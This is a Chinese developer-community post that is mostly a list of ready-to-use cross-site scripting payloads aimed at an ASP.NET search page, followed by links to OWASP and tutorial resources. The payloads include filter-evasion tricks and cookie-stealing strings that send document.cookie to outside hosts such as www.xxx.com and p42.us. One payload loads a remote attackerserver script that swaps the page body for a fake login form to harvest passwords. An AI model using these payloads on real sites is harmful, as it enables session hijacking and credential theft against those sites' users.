Asp.net跨站脚本攻击XSS实例分享-阿里云开发者社区

开发者社区> 开发与运维> 正文
登录阅读全文

Asp.net跨站脚本攻击XSS实例分享

简介:  Asp.net跨站脚本攻击XSS实例分享 常用攻击代码: http://target/vuln-search.aspx?term= Redirection Attack http://target/vuln-search.


Asp.net跨站脚本攻击XSS实例分享


常用攻击代码:

http://target/vuln-search.aspx?term= 
</XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))> 
Redirection Attack 

http://target/vuln-search.aspx?term= 
</XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.xxx.com")> 
Cookie stealing 

http://target/vuln-search.aspx?term= 
</XSS/*-*/STYLE=xss:e/**/xpression(window.location= 
"http://www.xxx.com/cookiemonster.php?sid="%2bdocument.cookie)> 
Unrestricted HTML injection from external '.js' file 

http://target/vuln-search.aspx?term= 
</XSS/*-*/STYLE=xss:expression(myScript=document.body.appendChild 
(document.createElement("script")))> 

</XSS/*-*/STYLE=xss:expression(myScript.setAttribute("src","http://attackerserver/xss.js"))> 
where 'xss.js' could contain a snippet that overwrites the entire document's HTML body. i.e.: 
document.body.innerHTML = '<b>since we can now insert brakets without having to escape the request filtering, we\'re free to insert any HTML tags</b></br><form name="myform" action="http://www.procheckup.com"><input type="text" name="login"><br/><input type="password" name="password"></br><input type="submit" value="Log in"></form>'; 
<object><param name="src" value=
"javascript:alert(0)"></param></object>
<object data="javascript:alert(0)">
<isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image
<x:script xmlns:x="http://www.w3.org/1999/
xhtml">alert('xss');</x:script>
location='javascript:alert(0)';
location=name;
http://site.com/?p=";eval(unescape(location))//#
%0Aalert(0)
<b/alt="1"onmouseover=InputBox+1
language=vbs>test</b>
</a onmousemove="alert(1)">
<a onmousemove="alert(1)">test</a>
<html><title>{alert('xss')}</title></html>
";document.write('<img src=http://p42.us/
x.png?'%2bdocument.cookie%2b'>');"
";document.write('<img sr'%2b'c=http://p42.us/
x.png?'%2bdocument['cookie']%2b'>');"
<b "<script>alert(1)</script>">hola</b>
等等

XSS脚本列表:

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

防御XSS列表:

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

部分实例分享:

http://www.codeproject.com/Articles/573458/An-Absolute-Beginners-Tutorial-on-Cross-Site-Scrip
http://www.codeproject.com/Articles/617043/Hack-Proof-Your-ASP-NET-Application-From-Cross-Sit
http://software-security.sans.org/developer-how-to/developer-guide-xss
http://blogs.msdn.com/b/cisg/archive/2008/09/10/real-world-xss-vulnerabilities-in-asp-net-code.aspx
http://weblogs.asp.net/jongalloway/preventing-javascript-encoding-xss-attacks-in-asp-net-mvc
http://www.softwaresecured.com/2013/03/04/asp-net-security-code-review-techniques-cross-site-scripting-edition/
https://github.com/TelerikAcademy/ASP.NET-MVC/tree/master/04.%20ASP.NET%20Web%20Security

其他实例:

http://www.securitysift.com/xss-and-cross-site-scripting-with-a-little-help-from-asp-net-and-ie9/



版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

分享:
开发与运维
使用钉钉扫一扫加入圈子
+ 订阅

集结各类场景实战经验,助你开发运维畅行无忧

其他文章